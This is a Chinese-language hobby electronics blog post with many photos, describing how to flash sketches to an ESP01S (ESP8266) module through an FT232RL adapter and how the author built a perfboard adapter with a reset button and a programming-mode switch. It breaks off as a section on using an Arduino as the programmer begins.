<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIC9GWu0s3zA3T93eaxOlNe5n3hTR3nibsmc_V-4vN-E96rT3h3I2DATxkEk35xCEOuuppl8RHO8UKvrCOKlqXgnrR56GbyNMmLewEdtJhUoqkKQqXoVzeMFoV4OpS1BGW8HpcCyIzNlr3PgXTieJSveTrzomLJluQX0jZl8_ncS6u3z4xtU4EQOOF/w0/esp8266-esp01s-006.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIC9GWu0s3zA3T93eaxOlNe5n3hTR3nibsmc_V-4vN-E96rT3h3I2DATxkEk35xCEOuuppl8RHO8UKvrCOKlqXgnrR56GbyNMmLewEdtJhUoqkKQqXoVzeMFoV4OpS1BGW8HpcCyIzNlr3PgXTieJSveTrzomLJluQX0jZl8_ncS6u3z4xtU4EQOOF/w600/esp8266-esp01s-006.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimMDp5ESM2XDKdKOatWt2eai6OreoCf2llSwp_364IOUCB2GLJ5nlefaKw70US0OXOwBdpqqJ-H5G89Z7xJx4gKIKdyHpgD9OuNgJB5bRfN5bbtNFk05vevxPR0tfq9mwAY6jqJqzWfuE3YQu7ZsOVh-Md7ALXrqQtGmQp8Xl1aRDHMqUVwiaD7Yrx/w0/esp8266-esp01s-007.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimMDp5ESM2XDKdKOatWt2eai6OreoCf2llSwp_364IOUCB2GLJ5nlefaKw70US0OXOwBdpqqJ-H5G89Z7xJx4gKIKdyHpgD9OuNgJB5bRfN5bbtNFk05vevxPR0tfq9mwAY6jqJqzWfuE3YQu7ZsOVh-Md7ALXrqQtGmQp8Xl1aRDHMqUVwiaD7Yrx/w600/esp8266-esp01s-007.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-WbU1OQXDSYalmYmzU12kpXIVTMoGiU1gcAust9JnFoKXrF42iIbA3urSwk9fAgo4mMjqygpraSKmR3hRF59vMQPoylWJIeIATSwip2XVQ5MMn7Imu-ecDPy52vHJIxbIfExzuOXBEnHAtPHzjkzaPfbE7zF6UFCJy3EJwVSkjaYpn5tvNNZqeiMz/w0/esp8266-esp01s-008.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-WbU1OQXDSYalmYmzU12kpXIVTMoGiU1gcAust9JnFoKXrF42iIbA3urSwk9fAgo4mMjqygpraSKmR3hRF59vMQPoylWJIeIATSwip2XVQ5MMn7Imu-ecDPy52vHJIxbIfExzuOXBEnHAtPHzjkzaPfbE7zF6UFCJy3EJwVSkjaYpn5tvNNZqeiMz/w600/esp8266-esp01s-008.jpg"/></a></div>
<div>由於 ESP01S 引腳的排列並不方便麵包板使用<br/>
因此在下使用 <span class="mra-highlighter">長腳引腳座</span> 當作轉接器</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYYzt4y65ZImDSUbPUzBO9kxlleMgkZCtjX4PSt0VYXGu7i7yLvFVMMDE8NrIMrer2A3y4I6PIqlKMu5eSsNP5bT5FRyz8vjAA_oRoEKVvd3RqHxMWhkNDQkLMrpsWQi1iyLGd-PYTtDdLlaMxVGEttS9D3qe75Qv46qvjLJJvSzqyMqMqnTiDrXga/w0/esp8266-esp01s-009.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYYzt4y65ZImDSUbPUzBO9kxlleMgkZCtjX4PSt0VYXGu7i7yLvFVMMDE8NrIMrer2A3y4I6PIqlKMu5eSsNP5bT5FRyz8vjAA_oRoEKVvd3RqHxMWhkNDQkLMrpsWQi1iyLGd-PYTtDdLlaMxVGEttS9D3qe75Qv46qvjLJJvSzqyMqMqnTiDrXga/w600/esp8266-esp01s-009.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv3Lfi2-CEjZqz4c7rVqtB5pIBlg9zliROuagZCsVbdscOaCUWyA-pKLkht8qiguD1IjK-s54NGycIHiyTXvI001dTjRAJ58uU5spPLvz1sxToAMhiEbCMErgAlw-jSQMkP2Uj9IjX24Axr9lU__IwqDxklgoTj9Guq3yY4SekEMK4bkKaoI9NWjfD/w0/esp8266-esp01s-010.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv3Lfi2-CEjZqz4c7rVqtB5pIBlg9zliROuagZCsVbdscOaCUWyA-pKLkht8qiguD1IjK-s54NGycIHiyTXvI001dTjRAJ58uU5spPLvz1sxToAMhiEbCMErgAlw-jSQMkP2Uj9IjX24Axr9lU__IwqDxklgoTj9Guq3yY4SekEMK4bkKaoI9NWjfD/w600/esp8266-esp01s-010.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrdoGTwYFrDvAucbJhQwhNkDtnGyxbK2OmC9OngFSyZxqxrV9mFHbsXptz5O4B0SzWBrL6dOZ97fm_7hZS63p2xmJk-zyJeMnk4RcbM4wdYVxkZdeY41c-ZWcGE8t3FE48qf48ISXlAgmREvA_5N1jo1DmR1uI93HNRUY16_PwfGbx38mw1UcsKcGY/w0/esp8266-esp01s-011.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrdoGTwYFrDvAucbJhQwhNkDtnGyxbK2OmC9OngFSyZxqxrV9mFHbsXptz5O4B0SzWBrL6dOZ97fm_7hZS63p2xmJk-zyJeMnk4RcbM4wdYVxkZdeY41c-ZWcGE8t3FE48qf48ISXlAgmREvA_5N1jo1DmR1uI93HNRUY16_PwfGbx38mw1UcsKcGY/w600/esp8266-esp01s-011.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ1_0hR8eHHq57OdliWNNMRhsoqH9smCraEYcnuxFElFVWvxtVPfGubvYCfMDzyrN7CPbGai4oznhI30D8ET18l6ikGr0mX08uyrYVrlEAVkd3kKCHvP5NB87Xa3rZBROo90-6kiOtMv4qZ1fbDfpu3hiGO7jjsec0HuKYGLk0w-SOBHkXjLizpg25/w0/esp8266-esp01s-012.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ1_0hR8eHHq57OdliWNNMRhsoqH9smCraEYcnuxFElFVWvxtVPfGubvYCfMDzyrN7CPbGai4oznhI30D8ET18l6ikGr0mX08uyrYVrlEAVkd3kKCHvP5NB87Xa3rZBROo90-6kiOtMv4qZ1fbDfpu3hiGO7jjsec0HuKYGLk0w-SOBHkXjLizpg25/w600/esp8266-esp01s-012.jpg"/></a></div>
<div>長腳引腳座比較有彈性,能稍微彎曲變形</div>
<br/>
<div>雖然 ESP01S 與 NodeMCU 同屬於 ESP8266系列,但 ESP01S 不具備 USB訊號轉換晶片<br/>
因此必須借助外部燒錄器才能將程式燒錄到 ESP01S 上執行</div>
<br/>
<a name="使用FT232RL"></a><h4 class="mra-h4">使用FT232RL</h4>
<div>將 Sketch 上載到 ESP01S 最直接的方法是使用 FT232RL<br/>
如同使用 FT232RL 上載 Sketch 到 ATmega328P 相同</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCNerczulsxHbrOzvN58of1jW62luofVQNDzKe0h6EgndMqCYQ2A1fw1UXIVCiar6RPF19JkQES4w1_ksBXY04JtWSiJ0U03TjvzlRea9xcpbfFSiUZ2HrzgQacsEuTpKvETX12Qzki8HHC69FwwzGmcRmqsYDrlkOVi2J8wLCA1DKZSrX6UTkMcNu/w0/esp8266-esp01s-017.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCNerczulsxHbrOzvN58of1jW62luofVQNDzKe0h6EgndMqCYQ2A1fw1UXIVCiar6RPF19JkQES4w1_ksBXY04JtWSiJ0U03TjvzlRea9xcpbfFSiUZ2HrzgQacsEuTpKvETX12Qzki8HHC69FwwzGmcRmqsYDrlkOVi2J8wLCA1DKZSrX6UTkMcNu/w600/esp8266-esp01s-017.jpg"/></a></div>
<div>由於 ESP01S 只接受 3V 至 3.6V ,<span class="mra-highlighter">超過 3.6V 會損壞 ESP01S</span><br/>
FTDI 的 FT232RL 提供 3.3V 及 5V 的切換器,<span class="mra-highlighter">使用 TTL介面 時,必須使用 3.3V</span></div>
<br/>
<a name="使用FT232RL線路原型"></a><h5 class="mra-h5">線路原型</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Hfke7yslupOUq-wXG6gjpQBzQGVd5CaNpYHzfbnbufTPvv7x0ISG8uR_TSqKMQDZhrwRohIOrAB0NoLp_ao_drLLgezaxvuXnIXPjNqnEUtWxucRP1-6d4pbEMLNEHh92r9EWYmUwNEbO5ndPGpWmB-RSmyN07NsYbu1_TcMjK1fsRN2ic3Twi4d/w0/esp8266-esp01s-020.png"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Hfke7yslupOUq-wXG6gjpQBzQGVd5CaNpYHzfbnbufTPvv7x0ISG8uR_TSqKMQDZhrwRohIOrAB0NoLp_ao_drLLgezaxvuXnIXPjNqnEUtWxucRP1-6d4pbEMLNEHh92r9EWYmUwNEbO5ndPGpWmB-RSmyN07NsYbu1_TcMjK1fsRN2ic3Twi4d/w600/esp8266-esp01s-020.png" width="600" alt="見下文" title="見下文"></a></div>
<div>由於 ESP01S 並不能方便是安裝在麵包板上,因此在設計線路原型時亦沒有安置在麵包板上</div>
<br/>
<a name="使用FT232RL實際線路"></a><h5 class="mra-h5">實際線路</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRd4590T4B_GT2S9_U_qlvcyhfEXgUPNgWaW2vLmfmf4qXvb1GZ54GF7K3BRmJBwbJBBPYHyTLRvUi114QK3vGHyJJ8lhGMK6uWCpOSMETwZ42dyBG2EgccMeMPQh7gLjCVItrlBluXHeAtm-7hkI_o2MHvF8rXyY_NPB4VtWK4xlK8-0Oi-db9Q36/w0/esp8266-esp01s-013.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRd4590T4B_GT2S9_U_qlvcyhfEXgUPNgWaW2vLmfmf4qXvb1GZ54GF7K3BRmJBwbJBBPYHyTLRvUi114QK3vGHyJJ8lhGMK6uWCpOSMETwZ42dyBG2EgccMeMPQh7gLjCVItrlBluXHeAtm-7hkI_o2MHvF8rXyY_NPB4VtWK4xlK8-0Oi-db9Q36/w600/esp8266-esp01s-013.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLgGpmPWnmKaXMUVNLBiqc6wpcg50b1fOLGv88hUAeflIRHVjNuzILD-j2fyZwNtRbvJXo2R4CLO8mU_3r0_PLizIeSfNA2YmkPHxYRcSDilDXG_C74of1g5mvdueSeNLl9lQGJVHy0l1pBDc4mJ6mvMcLTy7e6HYgO3RnFi9lCvS5LfAgQ7uPDqoM/w0/esp8266-esp01s-014.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLgGpmPWnmKaXMUVNLBiqc6wpcg50b1fOLGv88hUAeflIRHVjNuzILD-j2fyZwNtRbvJXo2R4CLO8mU_3r0_PLizIeSfNA2YmkPHxYRcSDilDXG_C74of1g5mvdueSeNLl9lQGJVHy0l1pBDc4mJ6mvMcLTy7e6HYgO3RnFi9lCvS5LfAgQ7uPDqoM/w600/esp8266-esp01s-014.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-Exp_OW8tlG8huu2eAGjd6GiZ-nFwQbMp83vE78wkTYa-5oHa7B06POIGzWeRV19mNJqOF6FYoWBubN3u5xiZSYXxws-5byLTpyfID7RBOo0anTkSdG50Kcxc3IwDpTvHQx7hcySXkvFNTPJT2plK7j5AWb-3GvN2t1GqhRpO8HLZ0i022SZ16cEK/w0/esp8266-esp01s-015.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-Exp_OW8tlG8huu2eAGjd6GiZ-nFwQbMp83vE78wkTYa-5oHa7B06POIGzWeRV19mNJqOF6FYoWBubN3u5xiZSYXxws-5byLTpyfID7RBOo0anTkSdG50Kcxc3IwDpTvHQx7hcySXkvFNTPJT2plK7j5AWb-3GvN2t1GqhRpO8HLZ0i022SZ16cEK/w600/esp8266-esp01s-015.jpg"/></a></div>
<div>實際線路</div>
<br/>
<div>由於 ESP01S 區分<br/>
<ul>
<li><span class="mra-highlighter">執行模式</span>:重置時, IO0 <span class="mra-highlighter">懸空</span> 或 <span class="mra-highlighter">接駁高電壓</span></li>
<li><span class="mra-highlighter">編程模式</span>:重置時, IO0 <span class="mra-highlighter">接地</span></li>
</ul>
因此線路設計上,提供 <span class="mra-highlighter">切換器</span> 方便切換操作模式</div>
<br/>
<a name="使用FT232RL測試"></a><h5 class="mra-h5">測試</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxTcd99kFcHnL63GWbXiOFCYg3n5x8a1wL5MQ7qjajD-fAaJ2hCI1dkF_xXp8jFVmoB7NaNJaiGMIbH5bKi5uSl0gFCfR4ubwZsYrUAAdOtMQQ9BYO1A25bON2xhbN3AME-wCbFGvKIywkdUH1TeI7kU-epZUQ2iAY9QtND-1jWOAvKZMQJfasBHpr/w0/esp8266-esp01s-018.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxTcd99kFcHnL63GWbXiOFCYg3n5x8a1wL5MQ7qjajD-fAaJ2hCI1dkF_xXp8jFVmoB7NaNJaiGMIbH5bKi5uSl0gFCfR4ubwZsYrUAAdOtMQQ9BYO1A25bON2xhbN3AME-wCbFGvKIywkdUH1TeI7kU-epZUQ2iAY9QtND-1jWOAvKZMQJfasBHpr/w600/esp8266-esp01s-018.jpg"/></a></div>
<div>使用編程模式,才能將 Sketch 上載到 ESP01S</div>
<br/>
<div>在下使用 Arduino IDE 編寫 Sketch<br/>
由於步驟與 ESP8266 NodeMCU 完全相同,因此在下不重覆內容<br/>
請參考 <a href="https://hkgoldenmra.blogspot.com/2022/03/esp8266-nodemcu-wifi-http.html">使用 ESP8266 NodeMCU 連接 WiFi 及建立 HTTP伺服器 遙距控制電子裝置</a></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4uL4-YbGZjR6RdjOcZZOYs0ksQAefLUFbYwkiQEu3TlBHGlPRaVWjI17qvjirV14z6adt4yGK9KGM4YN9icjKVCz27hhyP8o-CgRzuVEUdd5nonWHoYY9Lk1_RQxfhwDULLnld5DXlNHq7dxediZLHkOBwlaNcV1NrhNdjEMUqfxwYj5C5GCd0VNk/w0/esp8266-esp01s-019.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4uL4-YbGZjR6RdjOcZZOYs0ksQAefLUFbYwkiQEu3TlBHGlPRaVWjI17qvjirV14z6adt4yGK9KGM4YN9icjKVCz27hhyP8o-CgRzuVEUdd5nonWHoYY9Lk1_RQxfhwDULLnld5DXlNHq7dxediZLHkOBwlaNcV1NrhNdjEMUqfxwYj5C5GCd0VNk/w600/esp8266-esp01s-019.jpg"/></a></div>
<div>上載 Sketch 後,需要手動將切換回 執行模式<br/>
將 IO2引腳 懸空 後,再將 RST引腳 接駁到接地再懸空 ,令 ESP01S 重置</div>
<br/>
<a name="自製轉接器"></a><h4 class="mra-h4">自製轉接器</h4>
<div>由於 ESP01S 不方便在麵包板上使用,每次都要接駁長腳引腳座,還要接駁一堆跳線才能使用,在下覺得非常麻煩<br/>
而在下剛好有一塊用剩的萬用電路板,因此打算自製 ESP01S 的轉接器</div>
<br/>
<div>最初在下只是想製作方便 ESP01S 安裝到麵包板上的轉接器,網上很多 ESP01 的教學都會製作類似既轉接器<br/>
不過在下覺得仍然需要接駁大量線路很麻煩,因此製作能夠安裝 ESP01S 及 FT232RL 方便上載 Sketch 的轉接器</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0eapHrrnqu2Vcn3XIF9ZYFgQ8sD9YYlz8JV4rmz7maaibFNZwlp7dKS6h_Qcn8xdZr7oV20cFD_zIFzrXOLJ5BUuJBWxb-qNHLnLmRU8OwsN-64Yk62K8febXpv45aFWjBVwt8uMkoZsegW9QUmoUCYxxf5A-kBAwUIlybhoPqkNC8IZrrSDHwXdf/w0/esp8266-esp01s-021.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0eapHrrnqu2Vcn3XIF9ZYFgQ8sD9YYlz8JV4rmz7maaibFNZwlp7dKS6h_Qcn8xdZr7oV20cFD_zIFzrXOLJ5BUuJBWxb-qNHLnLmRU8OwsN-64Yk62K8febXpv45aFWjBVwt8uMkoZsegW9QUmoUCYxxf5A-kBAwUIlybhoPqkNC8IZrrSDHwXdf/w600/esp8266-esp01s-021.png"/></a></div>
<div>線路原型,非常混亂</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTpjJryLJkVy5Gk1KHXbEuK2MdOO3OxyfA5Wl9A3_8J6VZus141N6jSDTOlmdSOoj-GrLVC9jqRUcSeE8ZX6lbbJx-72c3T3VQqCudbgZXvzUJpHNGcCdG1tG0AOSNZ62pyvHEaBBTjRpDn_Xk_2Zj4o9FXZ3k1zTenGXQe8D3z9qHkfDlxTvMYuKy/w0/esp8266-esp01s-022.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTpjJryLJkVy5Gk1KHXbEuK2MdOO3OxyfA5Wl9A3_8J6VZus141N6jSDTOlmdSOoj-GrLVC9jqRUcSeE8ZX6lbbJx-72c3T3VQqCudbgZXvzUJpHNGcCdG1tG0AOSNZ62pyvHEaBBTjRpDn_Xk_2Zj4o9FXZ3k1zTenGXQe8D3z9qHkfDlxTvMYuKy/w600/esp8266-esp01s-022.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWo8FzjBztjILBjqBT-7nTF05P0NDf9lBJ4abSheA49swIvDyWVdhx4wtsBUTMwl7jchf6A1fOhggU7F5B_ID_nMwkR0KhhCZSvpJSHCzQrSAhcMfcbWecUBbZp9xtofpSdz3w44y8_lLJtlDkkXfF4WvvUDnVmLuh0kagwHRj9MGkEHk1RMJxFK7c/w0/esp8266-esp01s-023.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWo8FzjBztjILBjqBT-7nTF05P0NDf9lBJ4abSheA49swIvDyWVdhx4wtsBUTMwl7jchf6A1fOhggU7F5B_ID_nMwkR0KhhCZSvpJSHCzQrSAhcMfcbWecUBbZp9xtofpSdz3w44y8_lLJtlDkkXfF4WvvUDnVmLuh0kagwHRj9MGkEHk1RMJxFK7c/w600/esp8266-esp01s-023.png"/></a></div>
<div>電路板設計,比線路原型清晰一點</div>
<br/>
<div>非常擠逼的設計,是因為在下的萬用電路板只剩下 5列11欄</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEaHqD6NnJmmPGyanIjEnNCzU8PMN1ItulFt7mvGm2a_mMRhese4Ey5DaeGUI4Er9gOz9mlqrMJf5rX5Gi6olxEX9IJ2x1_4VgGUrNYRC4CRZorqu_1-vxVngIWm7QKfQ9HwuYYAEtgYgW3u1iYA45fTBpO-fBJIznncg7xUUiBrOkW3jHvzK0S6Ey/w0/esp8266-esp01s-024.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEaHqD6NnJmmPGyanIjEnNCzU8PMN1ItulFt7mvGm2a_mMRhese4Ey5DaeGUI4Er9gOz9mlqrMJf5rX5Gi6olxEX9IJ2x1_4VgGUrNYRC4CRZorqu_1-vxVngIWm7QKfQ9HwuYYAEtgYgW3u1iYA45fTBpO-fBJIznncg7xUUiBrOkW3jHvzK0S6Ey/w600/esp8266-esp01s-024.jpg"/></a></div>
<div>自製電路板 正面,還算清楚乾淨</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8JarRwCKCxGsVVGQ9AqChvEEzkJtT1E3OhyBv78wn8Xa2gxNY_nA6Uq6da5vSngW8USj6DnpmfumgP2JwPV1SVjddKBgFZjUrwLn_xaCaLXQ5RownKL1EPsHwCIdN20TyTU8bMBjEc7r7IWVOa209h1QbP82EJ1AuA2SQcE5ElHVWX6fbCaPCRTTj/w0/esp8266-esp01s-025.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8JarRwCKCxGsVVGQ9AqChvEEzkJtT1E3OhyBv78wn8Xa2gxNY_nA6Uq6da5vSngW8USj6DnpmfumgP2JwPV1SVjddKBgFZjUrwLn_xaCaLXQ5RownKL1EPsHwCIdN20TyTU8bMBjEc7r7IWVOa209h1QbP82EJ1AuA2SQcE5ElHVWX6fbCaPCRTTj/w600/esp8266-esp01s-025.jpg"/></a></div>
<div>自製電路板 背面,大量跳線焊接到引腳,比原型設計更混亂</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiUy5NRZDfupiEQ0wXBaOTPkOmamZio0Md97nV1O1LPiwGiiBQq0G-mHfMxbz_Co6ViqVfGKyY7BauqpWv_leRSjPNdk0BpovNo6QYPwZzUgxtc2QLPL5By6_NRS0NlWxLhELC0joNHPhVEEkTg31zihjdEVqHMMJoknmVkke5eZDW1K-9eDPrSvpp/w0/esp8266-esp01s-026.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiUy5NRZDfupiEQ0wXBaOTPkOmamZio0Md97nV1O1LPiwGiiBQq0G-mHfMxbz_Co6ViqVfGKyY7BauqpWv_leRSjPNdk0BpovNo6QYPwZzUgxtc2QLPL5By6_NRS0NlWxLhELC0joNHPhVEEkTg31zihjdEVqHMMJoknmVkke5eZDW1K-9eDPrSvpp/w600/esp8266-esp01s-026.jpg"/></a></div>
<div>FT232RL-TTL 連接器<br/>
由於不需要使用 CTS引腳 ,因此沒有跳線焊接到 CTS引腳</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4rOgSeWA9HjmlfFPQNLpqlzlBu5NUUeraNmnc6xv487Zgm40cjQZOrYffL9AWVAcNl-FENKzsR5lq93UaV4zyvOb8aHUmX5im2Sa1ianQhATeIX-mZqCP_Q_F747xR91PS4sR7nchv5kVgdRO1Go_EcWIj_3wHvls0Qn8xh_NATrADhu5F5gMxfr1/w0/esp8266-esp01s-027.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4rOgSeWA9HjmlfFPQNLpqlzlBu5NUUeraNmnc6xv487Zgm40cjQZOrYffL9AWVAcNl-FENKzsR5lq93UaV4zyvOb8aHUmX5im2Sa1ianQhATeIX-mZqCP_Q_F747xR91PS4sR7nchv5kVgdRO1Go_EcWIj_3wHvls0Qn8xh_NATrADhu5F5gMxfr1/w600/esp8266-esp01s-027.jpg"/></a></div>
<div>ESP01S 連接器</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0AafkDLDxm8HHlQ4x_wM2wQkfDJMgXj5rM0CCoGjVFyQN6Dicyh718plzo9oinSma4XYOnfkuOX5LMhXQij4cQIWf8Zhi1n5A8C0fY1igCRsQzLB6msGkJHJYqFirWw7ipxOXcLpRiMwprSjqgRjoXg7O-o9zNUiR2ueWqRJr0Okl4UZH3fQikBjg/w0/esp8266-esp01s-028.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0AafkDLDxm8HHlQ4x_wM2wQkfDJMgXj5rM0CCoGjVFyQN6Dicyh718plzo9oinSma4XYOnfkuOX5LMhXQij4cQIWf8Zhi1n5A8C0fY1igCRsQzLB6msGkJHJYqFirWw7ipxOXcLpRiMwprSjqgRjoXg7O-o9zNUiR2ueWqRJr0Okl4UZH3fQikBjg/w600/esp8266-esp01s-028.jpg"/></a></div>
<div>將 ESP01S 及 FT232RL 安裝到 自製轉接器</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHfUYBUrqnfocoQ8WAbEtaLwYcadztw1XkYAhlmmD1ztx4q5maVMh2EGtecvRjMBF2Nefu7Q3amWXievLtSGP7OXt0EzWJPWVtos_Mp5I3Ci4UENAfP6GYKWLN1Zh-ZLCNKLblYwftkU1udw8QUtMWz8n3bW6n8P79NslD4eMGsk_j77N8BlYQZpo2/w0/esp8266-esp01s-029.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHfUYBUrqnfocoQ8WAbEtaLwYcadztw1XkYAhlmmD1ztx4q5maVMh2EGtecvRjMBF2Nefu7Q3amWXievLtSGP7OXt0EzWJPWVtos_Mp5I3Ci4UENAfP6GYKWLN1Zh-ZLCNKLblYwftkU1udw8QUtMWz8n3bW6n8P79NslD4eMGsk_j77N8BlYQZpo2/w600/esp8266-esp01s-029.jpg"/></a></div>
<div>安裝在 自製轉接器 的 ESP01S</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWrPT6zT8XmKE2s7DTgG-gUUuvyWFB5pOCUh40-F1lA6DHkEoY5Su1Eakd7rZnSpB1N2kSsIy2jHhpar2tHdUL_p32_689Drgg_aw9tMpaBgdgMYMGHYyaYRka4emoaP5BCwHMgbUCQtzgADAk8PX55LiXHYDKT8v-aMZNZsB2mSx1dYm2lBWr1Lwx/w0/esp8266-esp01s-030.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWrPT6zT8XmKE2s7DTgG-gUUuvyWFB5pOCUh40-F1lA6DHkEoY5Su1Eakd7rZnSpB1N2kSsIy2jHhpar2tHdUL_p32_689Drgg_aw9tMpaBgdgMYMGHYyaYRka4emoaP5BCwHMgbUCQtzgADAk8PX55LiXHYDKT8v-aMZNZsB2mSx1dYm2lBWr1Lwx/w600/esp8266-esp01s-030.jpg"/></a></div>
<div>安裝在 自製轉接器 的 FT232RL<br/>
由於不需要使用 DTR引腳 ,因此沒有引腳座連接到 DTR引腳</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguCP0YwP4jWk9kKmJy6vXeSN0tL-7znSoV-io1d3KPpJLWPMrHevijzNKsEB4aTAnR9eTs8wFKYa_xCHYk6UdUVo_tPm34lFrDoEZmsDoabuLcVNJYOKhVnFTvif6jEddfd8KcrR_5pfiYWTdjsMcGGba1CVC4KOC3oDmRmw4_04XUU-yiqxHHhXES/w0/esp8266-esp01s-031.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguCP0YwP4jWk9kKmJy6vXeSN0tL-7znSoV-io1d3KPpJLWPMrHevijzNKsEB4aTAnR9eTs8wFKYa_xCHYk6UdUVo_tPm34lFrDoEZmsDoabuLcVNJYOKhVnFTvif6jEddfd8KcrR_5pfiYWTdjsMcGGba1CVC4KOC3oDmRmw4_04XUU-yiqxHHhXES/w600/esp8266-esp01s-031.jpg"/></a></div>
<div>按壓按鈕 連接到 ESP01S 的 RST 及 GND ,按下按壓按鈕會重新啟動 ESP01S<br/>
切換器 COM引腳 連接到 ESP01S 的 IO0 , T1引腳 懸空(執行模式), T2引腳 連接到 GND(編程模式)</div>
<br/>
<div><a href="https://photos.google.com/share/AF1QipMg6JGtFIx4aLb-_hyUO00KA93azBqTNnA9FxPUkHLy_5UdBCdnl4jrzYSD6Nemfw/photo/AF1QipMQxm61s2Q18R19ia69m_Ve002w7n8r4isPG2PY?key=eGxTM2RWS1VXcURZdzBZMnB5WVFKckxVNWZDUENB"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidD45jeNr7mN9lnSmGQY7eVFlqELFlVGn-rYkdQKtvnosOLJzJkZpott_HAr3DfdTK096H8cRja7ePD7bkfTasZ9H9yZ63yNK8ehVR3FG_6aXT0od4B7O0hzpADTZuWKgxUoH1E4H-wyY/s1920/esp8266-esp01s-032.jpg"/></a></div>
<div>使用 FT232RL 上載 Sketch 到 ESP01S</div>
<br/>
<a name="使用Arduino"></a><h4 class="mra-h4">使用Arduino</h4>
<div>Arduino 能夠成為 USB to TTL 轉換器 ,將 Sketch 上載到 ESP01S</div>
<br/>
<a name="使用Arduino線路原型"></a><h5 class="mra-h5">線路原型</h5>
